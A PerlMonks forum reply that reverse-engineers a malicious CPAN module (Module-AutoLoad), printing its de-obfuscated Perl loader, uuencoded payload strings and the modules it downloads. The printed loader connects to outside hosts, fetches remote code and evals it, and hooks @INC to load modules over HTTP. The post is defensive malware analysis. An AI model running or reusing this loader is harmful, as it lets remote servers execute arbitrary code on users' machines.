http://qs321.pair.com?node_id=11119976


in reply to Malicious module on CPAN

What was this code supposed to do, anyway? Here is what I managed to piece together, starting from Module-AutoLoad-0.05/contrib/RCX.pl and substituting eval unpack or eval <$b> with string values available to me, also feeding stuff to perl -MO=Deparse | perltidy (which I consider to be safe in the absence of BEGIN blocks): 
#!/usr/bin/perl -w

use strict;
use IO::Socket;
use lib do {
    if ($b = new IO::Socket::INET "R.cX:1") {
        #eval <$b>
        # transforms into:
        #eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE.150B=W<
+N;&EM97)A,6XN8V]M.C@P(GTB1T54("]I2F%I;$)RH96%K#0HB.V5V86P\)&(^;W(@<F5
+T=7)N('=A<FXD0'=H:6QE)&([,0}
        # followed by:
        #    if 0; # not running under some shell
        #use base qw(Exporter);
        #our @EXPORT=qw(botstrap);
        #$b->SUPER::expand;
        ## IP Bait HOP no. 47 : RCX Framework - 2001-09-19
        # ...which is ignored because <$b> returns only the first line

        do {
            print { $b = new IO::Socket::INET "ww.limera1n.com:80" }
              "GET /iJailBreak\r\n";
            # followed by this loop:
            #while ($b) {
            #    eval <$b> or return warn $@;
            #}
            # what does it do? first round: <$b> contains
            #eval unpack u=>q{_)&(])&(M/G!E97)H;W-T+B(Z(BXD8BT^<&5E<G!
+O<G0[)&$](D504D]-+F)L;V-K(FEF('!R:6YT>R1B/6YEC=R!)3SHZ4V]C:V5T.CI)3D5
+4)&)])&)>(@Y<;FX:?`AN82(}
            #    if 0; # not running under some shell
            #$b=IO::Socket::INET6->new($b) or die "Scan failed?";
            #$a->chk_BootROM($b) or die "Scan failed?";
            #$a->PwnageTool;
            #$a->RedSn0w; # Packed IPv6 tunnel
            ## SHAtter GreenPois0n @GeoHot HOP no. 62 : RCX Framework 
+- 2002-02-13
            # again, only running first line:
            $b = $b->peerhost . ':' . $b->peerport; # $b is "46.246.28
+.22:80"
            # the {} block is evaluated first, making $b an IO::Socket
+::INET object
            # stringified $b xor this code transforms into "GET /g\r\n
+" followed by junk
            if (print {$b = 'IO::Socket::INET'->new($b);} $b ^ "\cN\nn
+\cZ|\cHna") {
                $a = 'EPROM.block';
            }
            # second round: <$b> contains more code for us to evaluate
+:
            #eval unpack u=>q{_<W5B(&)O='-T<F%P>V5V86P@9V5T('5R;"(D>UY
+)3D-]+T!?+G!M(F9O<B`Q+BXR.R)`7R(M/FEM<&]R=#M<_)F)O='-T<F%P.CII;F-];W!
+E;B1]+"(^(BQ<)&([<')I;G0D?6UA<'MS=6)S='(D82PD7RPQ?6UA<'MS<&QI_="(B?75
+N<&%C:R)#*B(L)V9+[#LB)SMP<FEN='LD8CUN97<@24\Z.E-O8VME=#HZ24Y%5"(D8CHX
+,")](D=%(5"`O)&%<;B(}
            #    if 0; # not running under some shell
            #$b->SUPER::import('IPv6');
            ## XP_Windows 4(Quad)CPU 64bits HOP no. 83 : RCX Framework
+ - 2004-02-03
            # again, only running the first line:
            sub botstrap {
                eval get url "${^INC}/@_.pm"
                  for 1 .. 2;
                "@_"->import;
                \&botstrap::inc;
            }
            # $} doesn't break use strict, like $a and $b
            open $}, ">", \$b;
            print $} map { substr $a, $_, 1 } map { split "" } '102752
+365934';
            # $b now contains 'PERl.ROb.cOM' that we built from parts 
+of $a
            print { $b = new IO::Socket::INET "$b:80" } "GET /$a\n";
            # third round: getting even more code from yet another ser
+ver!
            #eval unpack u=>q{_)'M>24Y#?3TD8BT^<&5E<FAO<W0N(CHB+B1B+3Y
+P965R<&]R="XB+V1L(CMU;F1E9B1A.W5N9&5F)&([<&%C_:V%G92!B;W1S=')A<#MS=6(
+@:6YC>VUY)&D]<VAI9G0[:68H)$E.0ULP765Q)&DI>W!U<VA`24Y#+'-H:69T_0$E.0SM
+R971U<FXH*7UM>21F/7-H:69T.VEF*"1[7DE.0WTF)B1[7DE.0WT]?B]>:'1T<#HO)B8D
+9CU^;7M>_*%M>+UTN*EPN<&TI)'TI>VUY)'1R>3TB)'M>24Y#?2\D,2([;7DD8SUG970@
+=7)L)'1R>3MI9B@D8SU^+UY<_<RHH7"-\<&%C:V%G92E<<R]M*7MO<&5N*&UY)&9H+"(\
+(BQ<)&,I.R1)3D-[)&9]/21T<GD[<F5T=7)N)&9H_?7UR971U<FXH*7UP86-K86=E('5R
+;#MS=6(@8W5R;'ML;V-A;"1?/7-H:69T.VUY)&T]<VAI9G1\?&1I92)C_=7)L.B!-971H
+;V0@<F5Q=6ER961<;B([)&T]=6,D;3LD7SUS:&EF=#LH;7DD<W-L/7-[7FAT='`H<WPI.
+B\O_?7M]:28F)#$I)B8]979A;'MR97%U:7)E($E/.CI3;V-K970Z.E-33'T[;7DD<&]R=
+#TD<W-L/S0T,SHX,#MS_>UXH6UQW7"U<+EPZ72LI)'U[)#$O?3MS>UXH6UQW7"U<+ETK*
+2]]>R0Q.B1P;W)T+WT[:68H;7M>*%M<=UPM_7"Y=*SI<9"LI*"\N*BE]*7MM>21H;W-T/
+20Q.VUY)'!A=&@])#([;7DD=6$])#`[;7DD8STB(CMM>21I<#TD_:&]S=#MI9BAM>21A<
+F=S/7-H:69T*7LD:7`])%\@:68D7SUD96QE=&4D87)G<RT^>V9O<F-E7V-O;FYE8W1?_:
+7!].R1I<"X](CHD,2)I9B1I<"%^+SI<9"LD+R8F)&AO<W0]?B\Z*%QD*RDO.R1U83TD7R
+!I9B1?/61E;&5T_921A<F=S+3Y[=7-E<E]A9V5N='T[)'5A+CTB7')<;E)E9F5R97(Z("
+1?(FEF)%\]9&5L971E)&%R9W,M/GMR_969E<F5R?3LD=6$N/2)<<EQN0V]O:VEE.B`D7R
+)I9B1?/61E;&5T921A<F=S+3Y[8V]O:VEE?3LD8SUJ;VEN_(B8B+&UA<'LH;7DD=CTD87
+)G<RT^>R1??2D]?G,O*"XI+W-P<FEN=&8B)24E,#)8(BQO<F0D,2]E9SLB)%\]_)'8B?6
+ME>7,E)&%R9W-];7DD<CTH(DE/.CI3;V-K970Z.B(N*"1S<VP_(E-33"(Z(DE.150B*2D
+M/FYE=RA0_965R061D<CT^)&EP/3Y34TQ?=F5R:69Y7VUO9&4]/C`I;W(@<F5T=7)N('=
+A<FXB)&EP.B0A7&XB.R1H;W-T_/7YS+SHD<&]R="0O+SMI9B@B1T54(F5Q)&TI>R1P871
+H+CTB/R1C(FEF)&,[<')I;G0D<B`B1T54("1P871H_($A45%`O,2XP7')<;E5S97(M06=
+E;G0Z("1U85QR7&Y(;W-T.B`D:&]S=%QR7&Y<<EQN(GUE;'-E>VUY)&P]_;&5N9W1H)&,
+[<')I;G0D<B`B)&T@)'!A=&@@2%144"\Q+C!<<EQN57-E<BU!9V5N=#H@)'5A7')<;D-O
+;G1E_;G0M5'EP93H@87!P;&EC871I;VXO>"UW=W<M9F]R;2UU<FQE;F-O9&5D7')<;D-O
+;G1E;G0M;&5N9W1H.B`D_;%QR7&Y(;W-T.B`D:&]S=%QR7&Y<<EQN)&-<<EQN(GUL;V-A
+;"0O.W)E='5R;EMS<&QI="];7')<;EU[,RQ]_+RP\)'(^+#)=+3Y;,5U]96QS97MW87)N
+(DUA;&9O<FUE9"!54DPZ("1?7&XB?7)E='5R;B(B?7-U8B!G971[U<VAI9G0M/F-U<FPH
+1T54/3Y`7RE]<W5B('!O<W1[<VAI9G0M/F-U<FPH4$]35#T^0%\I?3$}
            #    if 0; # not running under some shell
            #use strict;
            #use 5.014;
            ## EPROM Block Burner HOP no. 94 : DO NOT REMOVE! - Love, 
+HookBOT 2007-08-02
            # and the first line transforms into the rest of the boots
+trapping code:
            ${^INC} = $b->peerhost . ":" . $b->peerport . "/dl";
            undef $a;
            undef $b;

            package botstrap;

            sub inc {
                my $i = shift;
                if ( $INC[0] eq $i ) { push @INC, shift @INC; return (
+) }
                my $f = shift;
                if ( ${^INC} && ${^INC} =~ /^http:/ && $f =~ m{^([^/].
+*\.pm)$} ) {
                    my $try = "${^INC}/$1";
                    my $c   = get url $try;
                    if ( $c =~ /^\s*(\#|package)\s/m ) {
                        open( my $fh, "<", \$c );
                        $INC{$f} = $try;
                        return $fh;
                    }
                }
                return ();
            }

            package url;

            sub curl {
                local $_ = shift;
                my $m = shift || die "curl: Method required\n";
                $m = uc $m;
                $_ = shift;
                ( my $ssl = s{^http(s|)://}{}i && $1 ) &&= eval { requ
+ire IO::Socket::SSL };
                my $port = $ssl ? 443 : 80;
                s{^([\w\-\.\:]+)$}{$1/};
                s{^([\w\-\.]+)/}{$1:$port/};

                if (m{^([\w\-\.]+:\d+)(/.*)}) {
                    my $host = $1;
                    my $path = $2;
                    my $ua   = $0;
                    my $c    = "";
                    my $ip   = $host;
                    if ( my $args = shift ) {
                        $ip = $_ if $_ = delete $args->{force_connect_
+ip};
                        $ip .= ":$1" if $ip !~ /:\d+$/ && $host =~ /:(
+\d+)/;
                        $ua = $_ if $_ = delete $args->{user_agent};
                        $ua .= "\r\nReferer: $_" if $_ = delete $args-
+>{referer};
                        $ua .= "\r\nCookie: $_"  if $_ = delete $args-
+>{cookie};
                        $c = join "&", map {
                            ( my $v = $args->{$_} ) =~ s/(.)/sprintf"%
+%%02X",ord$1/eg;
                            "$_=$v"
                        } keys %$args;
                    }
                    my $r =
                      ( "IO::Socket::" . ( $ssl ? "SSL" : "INET" ) )
                      ->new( PeerAddr => $ip => SSL_verify_mode => 0 )
                      or return warn "$ip:$!\n";
                    $host =~ s/:$port$//;
                    if ( "GET" eq $m ) {
                        $path .= "?$c" if $c;
                        print $r
                          "GET $path HTTP/1.0\r\nUser-Agent: $ua\r\nHo
+st: $host\r\n\r\n";
                    }
                    else {
                        my $l = length $c;
                        print $r
            "$m $path HTTP/1.0\r\nUser-Agent: $ua\r\nContent-Type: app
+lication/x-www-form-urlencoded\r\nContent-length: $l\r\nHost: $host\r
+\n\r\n$c\r\n";
                    }
                    local $/;
                    return [ split /[\r\n]{3,}/, <$r>, 2 ]->[1];
                }
                else { warn "Malformed URL: $_\n" }
                return "";
            }
            sub get  { shift->curl( GET  => @_ ) }
            sub post { shift->curl( POST => @_ ) }
            1
        } && botstrap("RCX");
    }
};

use sword;
drop sword;
exit 0;

[download]

(updated the code after I threw off some of the red herrings)

Note that the evals are followed by if 0 (does the server return different payloads for select clients?), but eval is run line-by-line, so the code actually gets executed. Also note manually-crafted errors to populate $@ with the next key to the puzzle.. Where is the definition of botstrap that is referenced so many times? Is package EPROM.block supposed to be available anywhere for this script to run?I ran this in a sandbox and captured the traffic using Wireshark. Indeed, the definition of botstrap (both package and subroutine) is downloaded later in a very convoluted way. I wouldn't be surprised to know that most of it is red herrings.

Added later:

From there on, it downloads and evaluates http://46.246.28.22:80/dl/RCX.pm: 

# Tell botstrap where to load RCX modules
${^INC} = "http://www.r.cx/dl";

[download]
then, using the second address, downloads and evaluates a different file http://r.cx/dl/RCX.pm: 
package RCX;

use strict;

sub import {
  print "Congratulations! The RCX framework has been loaded.\n";
}

1;

[download]
then, on use sword, does the same with http://r.cx/dl/sword.pm: 
package sword;

print "RCX Sword has been drawn.\n";

sub drop {
  print "RCX Sword has been dropped.\n";
}

1;

[download]
(Note how the server response is a bit different whether the code does HTTP/1.0 requests manually with some tricks in User-Agent: header or you follow the link in a browser: in the latter case you get a 302 redirect to www.r.cx/...)

To summarise, what I have been able to observe looks benign, but entirely irresponsible. Also, it is impossible to prove good intentions of this code, since the remote server (or a MITM) could serve an entirely different payload to select clients and/or depending on time (related reading).

See also: http://46.246.28.22/dl

Merry Christmas!

Congratulations! You figured it all out.
Or did I? We may never know.

In Section Perl News